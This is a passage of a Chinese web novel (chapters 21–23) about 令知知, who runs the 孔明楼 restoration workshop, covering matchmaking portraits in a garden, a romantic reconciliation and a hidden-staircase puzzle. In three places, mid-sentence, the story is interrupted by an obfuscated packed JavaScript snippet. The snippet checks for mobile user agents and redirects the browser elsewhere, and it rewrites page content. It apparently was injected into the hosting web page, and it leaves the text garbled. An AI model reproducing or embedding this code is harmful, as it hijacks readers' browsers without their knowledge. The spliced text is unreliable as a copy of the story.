小泥鳅笑嘻嘻地挤开旁边的阿荇,说:“听说西街染坊老板的女儿刘新月,长相普通,从小寄养在乡下姑婆家,女红才艺是一窍不通。”小泥鳅的声音故意压低,“已经三十有五了,但因为在此处出钱画的像,那光线景色将她衬托得绝美,被来此游玩的忠毅王相中了,这一下子平步青云,如今连刘进喜去朝冕城见她都得叫声忠毅王妃。所以大家都来这画,也是想接些好运。” 令知知听了一堆,只在乎钱,问:“来此处画像,还要收钱啊?” “当然,这叫‘场景费’。况且能来此并且请得起画师的,都是有钱家的姑娘,才不在意这三瓜两枣。” “既然都是同一个场景,不必每个姑娘都过来此处画吧,直接把景色拓印下来,再添上人物不就好了吗?”令知知着实不能理解有钱人家心里想着什么。 “之前就有姑娘这样做了,谁成想,那城北的树上挂的画,背景全一模一样,那一年就只有两对成了,还都是在此处现场画的。这布景每年都所有不同的。” 孙客问:“自己添些其他的景物上去不就好了吗?” “但那年之后,这陆家花园和佳偶园联手把这相亲角独揽了,只要想参加相亲角的都要来此画像,小姐们穿什么摆什么姿势也都得听园里画师的安排。” 小虾十分有经验,甚至预想到了令知知的下一个问题,“其他地方自然也有相亲角,但前去的男子姑娘论门第论才貌,都不如城北佳偶园的相亲角。” 令知知琢磨着什么,突然思绪拐到了其他地方,问:“小虾之前在城北混的,所以能知道相亲角画像的事情,”她眼神埋怨地盯着孙客,“你又是怎么知道的?” 孙客一看自己引火烧身,吞吞吐吐地半天说不出一句话。 令知知看他这副呆傻的模样,双腮鼓起,气冲冲地拿起阿荇画的图纸跑到阿藻旁边去了。 小虾和阿荇一脸同情地看向孙客,孙客不好意思地摸了摸鼻头。 令知知进入工作状态后,会自动屏蔽掉一些儿女情长的琐事,比如刚刚还在生孙客的气,现下就拿起量尺丝毫没有情绪地在池边比划起来。 阿藻见她来了,怕被说在此偷懒,拍拍衣服站了起来,但表情丝毫不慌。 “阿藻。”令知知唤她。 她故作镇定,但其实已经做好了被骂的准备,翘起一根指头指向树下的宣纸,准备解释:“掌柜的,我……” 令知知扭头好像在找什么东西,看见远处有一张木椅,就拖过来放在池子正前方,说:“你坐。” 阿藻木讷地坐下了,没弄明白令知知究竟要作甚。 令知知又想了一想,从旁边的偏房里拖出一张桌子来,孙客见状连忙上前帮忙。 看起来阿藻有些紧张,令知知想了想道:“阿藻,你将手撑在桌上,然后扶额。” 阿藻照做,尽管令知知没有明说,她只是这样稀里糊涂地做了,但此刻的她,轻柔又优雅。那手指纤细又修长地搭在洁白的额前,不安的情绪在眼神中微妙地体现,但没有破坏娇媚的感觉,而是增添了一抹吸引人的魅力。 令知知还是不满足,又抱来一个插了荷花的花瓶,放在桌上。最后再拖来一个蚕丝透光屏风放在侧后面。 后退几步,此时的美人与景,才让她满意。 回头一看,小虾已经被惊得张开了嘴,孙客傻笑着给令知知竖了个大拇指,被她忽视。 管家听见物品拖动的声响,又慌张地跑出来,看见眼前的一幕也由衷地赞叹道:“真是美景佳人啊!” 阿荇连忙跑过去,说:“阿姐,真是太美了!” 大家欣赏的目光让阿藻十分害羞,脸上泛起红晕。 “把你家画师叫来,给我家姑娘们都画上一张。”令知知霸气地和管家说道。 管家笑着应下了,还承诺此画一出,白子城各位爷必定较劲争抢。 不论是伙计们还是路过的丫鬟,都将此处围成一个圈,夸赞这个布景十分好。 眼前的画师给正给阿藻的画像上添上最后一笔,令知知看向小泥鳅的身后,问:“不是叫你去喊人吗?怎么没来?” 陆家花园的画师果然非同一般、技艺精湛,才画完围观地人们就拿起欣赏起来。阿荇也娇羞地上前坐下。 小泥鳅说:“陈姐说她不喜欢画像,就不来了。” “不来了?”令知知歪着嘴,怀疑道,“你没冒犯到她吧?” 小泥鳅难为道:“怎么会呢,我都按掌柜的你说的去请了,可是你也知道的,陈姐一向不喜这些。” 令知知也知道小泥鳅为人处世最为圆滑,定是相信他的口才才派他去请的,于是她说:“罢了,不勉强她。” 一会儿阿荇和玉蓉的画像也画好了,令知知欣赏了许久才让他们细心地收好。 管家把令知知拉到一旁,晦涩地说:“我们家这画师可不便宜。” “您的意思我明白,我孔明楼绝不是拖欠银钱之辈,不过现在日头正盛不适作画,下午我家还有四个男子也要画像,也得劳烦您家画师了。”令知知诡计多端地勾起嘴角。 管家一听是一笔大生意,当真是小看了这孔明楼,连连鞠躬道歉。 令知知抬头看向太阳,故意道:“今日午饭……” “陆家花园定给您安排好咯!”管家行礼后跑跳着进了后厨。 一群人埋头吃着饭,玉蓉担忧地问:“掌柜的,我们今日不是来出工的嘛,怎么画起像来了。” 陆家的吃食虽然不丰富,但比起千娇堂的口味,要更合白子城本地人。 小虾吃得正高兴,嘴里塞得满满当当的,没心眼地说:“什么出恭不出恭,吃饭呢,你说这怪恶心的。” 令知知给他头上来了一下,然后对玉蓉说:“这不是赶上了吗,况且这画像我还留有用处。” 小蟹一听,装作很无辜地说:“掌柜的可别把我家玉蓉的画像挂到相亲角去,她已经结婚了!” 令知知知道他在开玩笑,便笑着说:“不会不会,我家的姑娘不愁嫁!” 孙客吃饭时被挤到了离令知知最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263752|163112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远的地方,虽是不挨着,但眼神却容易对上。好几次好不容易令知知扫了他一眼,他笑起来正准备搭话又被无视了。 小虾挪了挪凳子,小声和他说:“孙哥儿,您可是惹到大麻烦了!” 孙客皮笑肉不笑,不似往日那般儒雅道:“这还用你说啊。” 到了下午,管家告知令知知几人说陆家几位老人还在小憩,提醒他们不能再像早上那般吵闹。 令知知应下了,说只是画像,不会吵嚷的。 管家放心地带着一队侍卫离开了。 令知知看一群人又围在池边看画像,自己偷偷溜走了。 几个园子她都已经看过了,但细节处还想再多观察观察。于是她又从进门处开始绕园子,时不时蹲下丈量,时不时又爬高眺望思考。 属实是累了。令知知爬到假山上的亭子里坐下,用手蘸水在大理石桌上画着些什么。 伙计们虽然跟着令知知一段时间了,但学的手艺也都是些修修补补的功夫,更别说才来了不到一月的姑娘们了。陆家花园修缮这座大山,还是压在令知知一人肩上。 “为何叹气?”孙客的声音从下面传来。 我刚刚叹气了吗?令知知想,只是碍于自己还在同他生气,并未答话。 只听见假山下的脚步渐行渐远的声音,令知知装作不关心地趴在桌上。 她埋怨道:“要走便走,说什么话嘛。” “我没走。” 孙客的声音在她右耳响起。 她猛地抬头,正碰上孙客的下巴。 “啊。”他没料到,瞬间疼得闭眼,一个字也说不出来。 令知知关心则乱,急切地扒开他捂住下巴的手问:“怎么样怎么样?咬到舌头了没有?” “嗯嗯。”孙客闷哼两声。 令知知连忙随便拿出手帕,替他捂住下巴。拉着他就要往外走。 “骗你的。”孙客说。 令知知松开手看着他,手帕随即掉下。她重重坐下,脸色阴沉,明显更生气了。 孙客讨好地坐下,将头抵在桌边,试探道:“知知?” 令知知不理他。 “你听我解释。”孙客直起腰将令知知的脸捧起来,“自肖家婚礼那次,我便见识到许多白子城的特色民俗,为了更了解你、了解这个地方,我便去书肆里借了本白子城民俗录来看。那八二相亲角也记录在册。” 令知知看着眼前这张脸,眉宇间的英气夹杂着深深的柔情,仿佛能融化百年的冰河,更别说令知知那颗扑通扑通跳着的心了。 “我们回白子城,还没遇上过八月初二呢,不是吗?” 他说的不是“到”,不是“来”,而是“回”。 不知是因为他从小生长的环境使然,还是因为经历了够多,他的脾气好得让人难以置信,好几次令知知火气上来了,他的言语都如细密的雨线般不急不躁,温和地将火熄灭。 令知知每次一看间他这张面容姣好的脸,气性就消了一半了,再加上那温柔淡定的话语、合理的解释,她不由得感叹老天爷虽损,但偶尔也会大发慈悲。 “真是如此?”令知知眉毛上挑,两只手扶上他的手腕。 孙客看令知知的面色已雨过天晴,乘机捏了捏她的小脸,笑着说:“我怎会骗夫人。” 阳光透过旁边的树叶斜射进亭子里,斑驳的光影随风摇曳着。在这样的阳光下,心情自然而然地愉悦起来,所有暂时的烦恼都被融化了。 地上的手帕就要被风吹走了,孙客伸手捏住顺手叠好,没想到发现了什么,又将整个手帕展开对着阳光,看了看,瞬间变脸。 他醋意大发道:“不过夫人,你的手帕,上面怎么绣着别人的名字。” 她抬眼一看,才发现“游意驰”三个大字绣在帕子左下角。 令知知这才反应过来,那是游暮往那天送她擦汗的手帕,她一把夺过,心虚地解释道:“这不是因为那天被蛇咬了嘛,那个游暮往就给我这个帕子,包扎伤口用的。” “哦,包扎伤口啊?”孙客恨得牙痒痒,“我看着怎么像定情信物啊?” “我和你说,我和他没有半毛钱关系,”令知知从怀里掏出一块玉,分散了孙客的注意力,“这才是定情信物。” 在阳光下,那块玉坠闪烁着温润的光泽。 还没等孙客生气,令知知立马打断道:“是我和班绫的。” 还好提前和孙客说了和班绫有假婚约的事,说着说着,孙客就忘了手帕的事情了。 21. 画像危机 在这忙碌时光的片刻中偷闲,不知过了多久,令知知再睁开眼时,发现自己躺在孙客的腿上。 他撑着头,安静地闭上眼休憩。树影摇曳着,少年郎的一呼一吸都让她心动。 她小心翼翼地仰头,凝视着这一张精致的面孔,鼻梁高挺、唇线分明。也许是羌青给的药真的起了效用,他的唇色这几日也渐渐红润起来。 或许是氛围使然,她不管不顾地爬起身,对着这张红唇吻了上去。 孙客也因为突然感受到触碰,猛然惊醒。那双眸子迅速张开,透露出还未清醒的迷茫与惊讶。 他的双臂下意识地拖起她纤细的腰,不是过多的对欲望的贪婪,而是真心实意地担心她会摔倒。 令知知见他醒了,看他的反应有些流氓地笑了,只蜻蜓点水般的离开了他的唇。 只是片刻的贴近,也足以让二人的呼吸急促、心跳加速。 令知知其实也有些害羞,虽然都已知道彼此的心意,也以夫妻之名生活,但这般的亲密,还是第一次。 她挠挠太阳穴,强壮镇定地坐好,但难以掩饰的,是那微微颤抖的睫毛、努力抿紧的嘴唇。 孙客不知为何,看见她这副害羞的模样,心里萌发出一种冲动。他捏紧拳头,用拇指摩挲着食指的指节,妄图压抑自己内心的兴奋。 他欲开口:“知知……” “掌柜的、掌柜的。”小泥鳅的声音从隔壁园子传来。 我就知道。孙客的拳不知为何捏得愈发紧了。 令知知扭过头去,语气中夹杂着些不耐烦,咬牙切齿道:“何事?” 小泥鳅顺着声音,沿着假山爬了上来,看见二人说:“孙哥儿果然也在这儿,我们的都画好了,到您了。” “快去吧!”令知知捏捏他的小臂。 孙客起身,见她未动,问:“你呢?怎么不画?” “我不感兴趣。”她扭过头假装去看风景,露出泛红的耳尖。 孙客便又坐下,或许形容得不太恰当,但着实像一只看门的大犬。 令知知抽出被压在孙客屁股下的裙角,轻蹙眉头,问:“你这是在作甚?” “你不去我也不去。” “老娘花了钱的,况且这画像我有用处。” 小泥鳅在旁边见二人又要争吵,眼神不知该放在哪里合适,四处瞎瞅着。 令知知见孙客依旧不为所动,直接上手推他。 孙客扭头问:“真不去?” “不去。” “行。” 孙客起身同小泥鳅走了。 令知知伸了个懒腰,二人的背影渐渐消失在她视野里,她也沉了口气,重新准备收心干活。 她一个人收齐了其他几个人加了标注的图纸,在亭子里像夫子批阅学生的文章那样,时不时落笔画圈,时不时思考。 在令知知的大脑中,各种书籍卷轴中先辈的思想、收集来的不同看法以及自己的见解正交织在一起,宛如一台正奋力编制着绚丽布匹的织布机,一根根引领着思想的梭子穿梭在想象力和创作力的线条中,每一道色彩都代表着她的认知与期望。 待到剪断最后一根线,她留下满意的笑容,自言自语道:“如此,说不定真能赢了鲁班阁。” 也就在这时,大家的谈天声从远处传来,她这才发现太阳的脑袋不知何时已经悄无声息地埋进了西地。 她不紧不慢地站起来活动活动筋骨,趁着四下无人揉了揉自己已经坐僵的屁股。等到几人寻过来时,她正佯装镇定的“路过”。 “掌柜的,你在这儿啊!”小虾怀里捧着画像,兴高采烈地继续道,“看看我这画如何?” 拿过画欣赏,令知知在心中暗自感叹这画师果然名不虚传,能把伙计们穿的破衣衫都画出高档货的质感,但还保留了其特色,真不错。 她夸奖道:“颜如冠玉、目如朗星!真是一表人才!” “看看我的掌柜的!”小蟹也忙不迭地递过去。 “这张也不错啊!”她哈哈笑,“高大威猛,血性男儿!” 小泥鳅也等着夸呢,上赶着递过去,说:“您再看看我的!” 她的词库快用尽了,还好还藏了两个,笑吟吟地接着夸:“玉树临风,貌比潘安!” “我的呢?”孙客的声音幽幽传来,倒是多了几分醋意。 “嗯?”令知知的笑凝固在脸上,脑子飞速的运转着。 大家伙见孙客来了,都纷纷让开,在旁边摆上了隔岸观火的姿态。 孙客伸出手将画卷抖落,刻意加重音量道:“夸。” “真是……”令知知看向孙客背后的人们,都在旁边却不施以援手,动了一整天的脑子,如今真是想不出什么好词了。 就在孙客的脸色逐渐铁青之时,端着水果的侍女路过,对另外一个侍女小声说了句:“这就是孔明楼那个花魁?皮肤真白,真好看。” 另外那个侍女注意到了令知知的眼神,用手肘杵了杵旁边的人,轻声“嘘”了一声。二人匆匆地小碎步离开了。 令知知虽不满旁人说孙客,但在此紧要关头提供了灵感,必是功大于过的。她连说了两个夸奖皮肤白的成语:“真是肌肤如雪,肤如凝脂啊!” 孙客一脸不屑,但总算是得逞了,收起了画卷。 真是有惊无险!令知知背地里悄悄松了口气,眼神里还藏着几丝侥幸。 光看了男子的画像,姑娘们倒都乖巧地将画卷束带绑好,抱在怀里。 令知知不禁打趣起来:“姑娘们的呢?怎么不拿给掌柜的欣赏欣赏?”夸男人是她的短板,但夸女子的成语,她可是能信手拈来,正想在大家面前展示展示自己的文采呢。 阿荇和阿藻咬着下嘴唇,一副害羞的样子,却不说话。 “干嘛?”令知知不懂她们的心思。 “掌柜的这是想要拿我们的画像去相亲?”阿荇的眼神并未落在令知知身上,而是对着旁边使了个眼色。 令知知以为自己没在饭桌上表达清楚,为了自己的好心不被当成驴肝肺,她大声强调道:“我都说了我家姑娘不愁嫁……” 阿荇将画都快揉进身体里了,眨着大眼睛打断道:“隔壁烟花楼的老鸨也这样说的……” 搞半天,这丫头以为自己要被卖身了。令知知也急了直跺脚。“不是,我是这样的人吗我?!” “掌柜的,为了不引起大家的误会,不如你这次就别再故弄玄虚了。”小虾建议道。 毕竟在这个年代,女子的地位极低,她们十分在意自己的形象在公众场合的传播,也对自己的隐私保护极为敏感。若是画像被传播到烟花柳巷去了,在这城中便再也抬不起头了。 这时后在院中吵得不可开交,在一旁已经默默待了好一会儿的管家咳咳两声,赶在这些画像还保存完好时发话了:“您看,这个画师的费用……” 大家还在叽叽喳喳地吵个不停,完全没有注意到旁边多了一个人,更没人听他在说些什么。 令知知怒视着小虾,完全忽视形象地破口大骂:“你也觉得我要这画像是另有所图?” 小泥鳅也掺和了进来:“掌柜的,长嘴就是要用来说话的!你不解释我们怎么放心给你?” 孙客和小蟹在旁边帮忙拉着人,玉蓉和阿藻不知道该怎么办,在旁边急得转圈。 令知知满脸胀红,哑着嗓子扯:“我就不告诉你们!别忘了这张家花园是谁带你们来的!” “快走,快走!”孙客和小蟹分别抱着令知知和小虾,一前一后离开了这里。 几个人一团乱,愣是大闹了一场之后不欢而散。 狂风大作后安定下来的院子里,只留得管家一人。他的头发像是被狂风吹过的野草,失去了原有的形状。 一行八个人,愣是分成了好几拨回到了孔明楼。 阿荇迈进门,就看见令知知捧着茶壶豪饮。 令知知见她进来了,表情里夹杂着顽皮、机灵和些许的狡黠,难以掩饰地勾起左边的唇角。 阿荇心情看起来也十分好的样子,拿过小蟹递过来的茶碗和令知知搁着空气碰了个杯。 “这是?”玉蓉站在远处担忧地看着二人,还没反应过来。 小虾四处张望后匆匆跑进来,见大家都到齐了就将铁门拉下,也是难言喜悦地蹦跶到众人面前。 小蟹见玉蓉还没搞清楚状况, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“到掌柜的房中?”小泥鳅疑惑,孙客和令知知的房间可是从来不让他们进去的。主要是,以剩下几个人的功夫,也很难上去。 “你们可以看一下,我在墙壁、木格上一直留有凹槽,谁能发现能转动这些凹槽的开关使其连成楼梯的,我可以满足他一个心愿。” 听到令知知的话,小泥鳅立马问:“掌柜的,我靠功夫也能上去,能不能也满足我一个心愿?” 令知知收好大家的图纸笔记,对着他假笑着说了句“不行”,就跳上楼去了。 大家又把渴望的视线转向孙客,孙客顺手拿起旁边的一块抹布,假模假式地擦起了桌子。 这可把大家伙难倒了,为了得到奖励,几个人差点把孔明楼翻了个底朝天。 等陈鱼喊玉蓉去做饭时,楼内一片狼藉。要不是样样物品都完好无损只是翻了个个儿而已,她都要怀疑是班绫又来作祟了。 孙客和陈鱼解释了一下,就替玉蓉去厨房打下手去了。 “你会吗?”陈鱼看着孙客不太娴熟地切着葱,有些不大放心。 孙客看起来倒是轻松,明快地道:“自然。” 陈鱼看着他刀下的葱,补刀:“这还是我第一次见太子切菜。不过如此。” 孙客也不再计较“太子”、“昭明皇太子”或是“前太子”的称呼,只是撸起袖子,看起来确实是要大干一场的模样。 “你等着瞧吧。”孙客将葱花放到一边,切起了土豆。 陈鱼也不再管他,在旁边生火。 楼内,大家还在一块砖一片板地找着机关。 阿藻细心地将每个凹槽的方位记下来,脑中在想如若是机关,要如何将这几个分散的凹槽连成一条线呢。 此时,小泥鳅倒是想起来一句口诀,那令知知当时在孔明楼翻修时随口说的话,他跟着记忆重复着:“乾坤震巽坎离艮兑,东西南北中上下。八卦方位心中记,一线连起机关迷。” 楼内瞬间变得安静,众人的目光被那一句话牵引住,如同磁铁对铁屑的吸引。 22. 难以抉择 “这句话怎么这么耳熟。”小虾在旁边问。 阿藻立马反应过来,说:“是之前掌柜的在后院说的。” “说不定这是线索!”阿荇惊喜上前,“可是这都是什么意思啊?” 玉蓉如瞬间开窍了般,说:“我明白了,是看卦象!” 她抬头看了看,指着令知知的房间说:“掌柜的房间,是在西北方。在八卦中,上方对应的是乾卦。而乾卦,也与金属、圆形等事物有所关联。” 在大家伙的瞩目之下,她环绕了一圈,在一处木格中找到一面圆铜镜,扭了一圈,并无任何反应。 大家的眼神都有些失望。 玉蓉似有不甘,又在那处捏捏按按了半晌,在大家都已经又开始四下寻找时,终于,楼内传来了奇异的声响。 此时楼内的格局发生了变化,木格子从东面平移到了西面,一三五七这四块凹槽连成了一溜,而铜墙铁壁也显现了出来,正巧组成了二四五六这四块凹槽。 由于本来的布置,这些凹槽看起来都不过是用来摆放用具的或只是单纯的装饰。现在组在一起,除了材质不同,整个楼梯错落有致,呈现出优雅的曲线。 按理说这楼梯应该最费地盘,但这嵌在格子里的楼梯却也是不占地方的。 大家都被眼前的一幕镇住了,像是被点了穴一样呆傻地站在原地。 厨房里的陈鱼和孙客也听见了动静,想来也是知晓了他们有人触碰到了机关,继续做着菜。 “你猜是谁?”孙客问,看得出她今日心情不错。 陈鱼之前吃过打赌的亏,补了一句:“若是没有赌注的话,我猜是小泥鳅。” “杨礼秋?那我猜是张开洋。”旁人虽都已经叫起他们的绰号,但孙客还是礼貌性地叫他们的大名。实在是因为,在宫中这些名字的大多是主儿给阉人取的,他叫不出口。 令知知将门打开,不露面地喊了一声:“玉蓉,这几天可以琢磨琢磨许什么愿了。” 玉蓉朝着西北方喊:“掌柜的,口诀是小泥鳅念的,若没有他,我也是想不到的!” “那……”令知知的声音小了些,似在思考,然后恢复音量道,“那小泥鳅可以许半个愿望!” “半个?”小泥鳅也是极其容易满足的,“好!半个就半个!” 大家忙活半天,终于吃上了昭明皇太子做的饭菜。 小蟹挑起一块干焙土豆丝,在嘴里嘎嘣嚼了起来,半天说了句:“孙哥儿你做饭可以啊!” 在一起生活了许久,但做饭几乎是由陈鱼一手包干的,实在没想到孙客手艺也不错。 “真觉着不错?”孙客诚恳地问。 阿荇也夹起一块放入嘴中,在旁边附和,“真的!” 孙客跟着令知知他们在民间生活的这六年,让他学会了不少技能,虽然并不是什么要紧的活计,但打打下手帮帮忙也算是能锦上添花的。 令知知也觉着不错,但并未夸出口,只是将剩下的土豆丝都倒进自己碗里自顾自吃了起来。 这副模样,要不是知道她的年纪,还真以为是哪家的小孩跑进来蹭吃霸王餐了。 饭后,令知知知会了一声:“既然是玉蓉先打开的机关,那就玉蓉先上来罢。” 玉蓉心里没底儿,担忧地看了一眼小蟹。小蟹宠溺地摸摸她的头,说:“你可以的。”她便也如战场的将士般视死如归地上去了。 出乎所有人意料的是,这次令知知严肃起来还真像那么回事,等半柱香过去了,玉蓉才从屋里出来。 虽说玉蓉是在楼上,但大家都真切地看见了玉蓉关门时轻轻抚了一下脸颊,像是拭去泪水似的。 小虾用肩膀轻撞了一下小蟹,问:“我没看错吧,玉蓉是不是哭了?” 小蟹匆忙地摔下一句“我也不知道啊”,就上前去扶她,眼神里的关心就快要溢出来了。 “我不敢去了。”阿藻捏着阿荇的衣角,紧张地闭上了眼。 没想到小蟹才捏住她的手,下一秒,楼上就传来一句:“小蟹,进。” 玉蓉拍了拍他的手,什么也不说的回后院去了。小蟹见此场景,铁汉子第一次如临大敌般畏首畏尾。 众人脸上也尽显慌张神色。 小蟹出来,也是唉声叹气。 紧接着,出来的每一个人都像是被训完一顿的学生,精神萎靡,如同经历了一场浩劫。等待到最后的小泥鳅也是紧张得在椅子上蛄蛹来蛄蛹去。 “小泥鳅!” 他也起身,视死如归。 亥时,孔明楼的所有灯都熄灭了,无人言语,静得很。 第二天一早,令知知在床上生了个懒腰,然后又把玩起木偶来。这六年,她都每时每刻都记挂着那日自己失手插入孙客胸膛的木偶,每天早上起来,都要琢磨一阵子。 说实话,这是一种折磨,那日身上的痛楚都不及失手时错愕与愧疚来得难受,她仔细回忆着细枝末节,分析着每一种失控的可能性,逐一排查。即使孙客已经劝过多次了,但她还是想弄清楚真相。 少年的傲气是与生俱来的,但凡出了什么差错,将永远如鞋袜里的石粒般时时提醒着她。或许,其中也藏着她的较真,让她不断地寻找真相中的真相。 “知知?”孙客在门外叫她。 她起身开门,还在疑惑今天怎么没有开门的声响,走了几步便想起来昨日的自己对六个人的“教导”。片刻的时间里她想了想,若是她自己,受了这委屈定也是不会来的。 “他们都没来?”令知知问孙客。 孙客用眼神示意她看楼下,下面齐刷刷地坐着一排,大眼睛珠子扑闪扑闪地望着她。 她看着下面的人,不解地挠挠脑袋,又问:“不是?他们就没走?” 孙客点点头,观察着令知知的神色。 “怎么回事?” “下去看看就知道了,”孙客将她翻起的衣领整理好,“他们一定有话对你说。” 说实话,这场面蛮吓人的。因为太过安静她觉得自己还是走楼梯下去比较好,六个人直勾勾盯着她一步一步走下来,越走近,越能发现他们的小脸上满脸的沧桑,一看就是一夜未眠,个个顶着黑眼圈。 令知知悔了,觉得或许昨日不该说出口,拉着孙客的衣角妄图逃跑,她害怕得压低声音说:“孙客……” 没想到揪了半天旁边没反应,转过头去,发现拉着的人是陈鱼,并且也一脸忧郁地看着她。着实把她吓了一哆嗦。 令知知大叫:“啊!受不了了,你们要怎样?” 陈鱼倒是故意打了个哈欠,指着玉蓉说:“玉蓉昨日和我挤了一晚。” “小蟹也是和我们同住。”小虾幽怨地说。 “啊?”或许是才起床,令知知的脑袋还不太灵光。 几个人见令知知没有什么反应,异口同声道:“掌柜的,我们都不想走。” “我不是同你们说了吗,不是‘走’,是去‘学习’!”她看大家都兴致不高,又重申了一遍,“学习!” 原是昨日,令知知批阅他们的设计图纸时,都提了一嘴要选两个人去鲁班阁交流学习的事。 这件事是那日她与班绫在陆家花园大吵一架之后愤愤离去时,班项赶出来道歉时提的。一是为了替班绫补偿她,二是看中令知知的才华,也知道现在的孔明楼只是靠她一人撑着,缺几个能工巧匠的帮助。 她原本也是不答应的,但这几日思来想去,鲁班阁也是班家好几代的心血,定是要比才初为人师的令知知教的全面些。 考虑了许久,为了大家伙的前途,或许是要选几个人去学习学习,若是之后令知知又惹出了什么事端,这孔明楼也能托付给伙计们,相互之间也能照拂彼此。 “我们在孔明楼学得不好吗?”小蟹问。 “我也只是懂些皮毛。那鲁班阁有十几位德高望重的修缮师和工匠、百余名弟子,你们可知多少人挤破了头想进去?”她背着他们,苦口婆心地劝着,“去了又不是不回来了,等学成归来,我们孔明楼敲鼓放炮、夹道欢迎。” 阿荇和阿藻的手紧紧牵着,阿荇犹豫:“可是……” “别可是了,机不可失。说吧,你们想抓阄,还是我自己选?”令知知侧过头悄悄打量着每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287579|163112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人的表情。 “不要,我不要离开掌柜的!”小泥鳅表现得竟像是个离不开母亲的孩童。 阿藻也放声哀嚎:“我也不要!我也不想离掌柜的,我要和大家伙待在一起!” 大家又哭作一团。 令知知沉默了良久,说了句掏心窝子的谎言:“你们可知,进鲁班阁是我这辈子的梦想,但现在我自己不能去,我希望你们能代替我,拜入鲁班阁门下。” 小蟹和小虾首先抬起眼看她,后来几个人擦擦泪,也都扬起头听令知知说话。 “若之后你们出去,说是鲁班阁门下弟子,人家都要高看你一眼!” “我说我是孔明楼门下弟子,又有什么可丢脸的呢?” 双方犟在一起,空气都停滞了片刻。 “那我就实话和你们说吧!”令知知捏了捏山根,看起来十分无奈。 孙客惊了一下,以为令知知真要全盘托出,心中不免一颤。 令知知给他递了个眼神,让他安心。 “你们还记得班绫说我们跟着偷师学艺吗?”她看了一眼众人,又将发丝绕在食指上,不好意思地说,“其实是真的。” “啊?掌柜的你……” “真的?” 她倒是脸不红心不跳,像讲起自己的故事一样:“我去朝冕城前,就和小泥鳅一样,是个下人。刚好被鲁班阁的人买去了,见他们学习修缮,我也就在旁边跟着学了几招。” 大家都愣住了,有些不敢相信。 令知知见状,连忙解释道:“我也算是偷师成功了,现在是孔明楼掌柜的,已经有些名气,但这到底也不是上得了台面的事情。” 她在众人面前踱步,一本正经地说:“但若是有人替我去鲁班阁学习,那之前的谣言就不算是谣言,而是正儿八经的事实。我们孔明楼呢,算是鲁班阁名正言顺的分店,这样名气也更胜些,生意肯定也是不请自来。” 小泥鳅几人被唬得一愣一愣的,这毕竟的确是令知知“沉冤得雪”的好机会,但谁也不愿意抛下孔明楼。 孙客清了清嗓子,帮腔补充道:“不过一年,一年后就又能回来了。” “有谁愿意去吗?没有的话,吃完晚饭我们就抓阄。”她观察着众人的脸色,看得出他们已经动容了。 “好,那晚上吃顿好的!为咱们的两位勇士送行!” 说罢,她就出门去了。 令知知出门右拐进了一条人烟稀少的巷子,刚刚还在楼内看热闹的陈鱼靠在巷子的土墙上打着哈欠。 “陈鱼!”令知知朝她热情地跳起来招招手。 她冷冷地抬眼,嘴角却抑制不住地翘起:“来了。” “你说你和承桑栩的事儿,我也不懂,我跟着去,哥哥不会生气吧!”令知知阴阳怪气地打趣着陈鱼。 陈鱼也不甘示弱,拍了拍腰间的软鞭:“你再这样说话,我可就用这龙筋抽你了啊。” 站在佳偶园下,令知知有些不自在。 “他真约你来这?” “嗯。” 令知知观察着进进出出都是成双成对的人,不太好意思地说:“我好像真不应该来。” 若是承桑栩约陈鱼来这是求复合的,那她在旁边,倒是碍事了。 “没事。”说罢,陈鱼就要踏进门去。 “诶诶诶!”令知知拉住她的袖口,“你和我保证,若是承桑栩看我不顺眼,你得尽你最大的努力保护我!” 令知知还专门看了一眼陈鱼腰间的鞭子提示她。 “知道了。”陈鱼无奈道。 其实陈鱼此时也紧张得不行,若不是令知知在旁边说些有的没的帮她分心,她或许还要在楼下做足了准备才敢进去。此时她才发现,这丫头竟然也成了她的底气。 “承桑公子已恭候二位多时了。”小厮为她们引路,到了一处挂着“琴瑟和鸣”牌子的房间时,拉开珠帘,“二位,请。” 陈鱼大大方方地走了进去。令知知在后面盯着牌子思考了片刻,想了想若是承桑栩要对陈鱼做些不轨的事情,她能出手搭救,硬着头皮也踏进了房门。 23. 河鱼传书 承桑栩看见陈鱼来了,笑脸相迎。瞥见后面慌慌张张跑进来的令知知,倒也见怪不怪,不再看她们,只是抬手将茶水倒好。 “承桑公子,好久不见。”令知知还算是个懂礼数的打了个招呼,毕竟也是听说了承桑栩的势力强大,有些表明功夫还得做做。 陈鱼顺势一屁股坐在最外面的木凳上,留着中间的座位给令知知坐。 令知知瞪大了双眼,有些不知所措,左右张望着二人。 “令掌柜请坐吧。”承桑栩的口吻是有些许烦躁的,只是那嗓音实在温柔,颇具魅惑。 “好、好。”她慌忙坐下了,顺带把椅子向陈鱼的方向拉近,低声在陈鱼耳边轻声怒喝,“你搞什么?” 陈鱼并未理会她,直接开门见山道:“放血杀人案,你想起细节来了?” 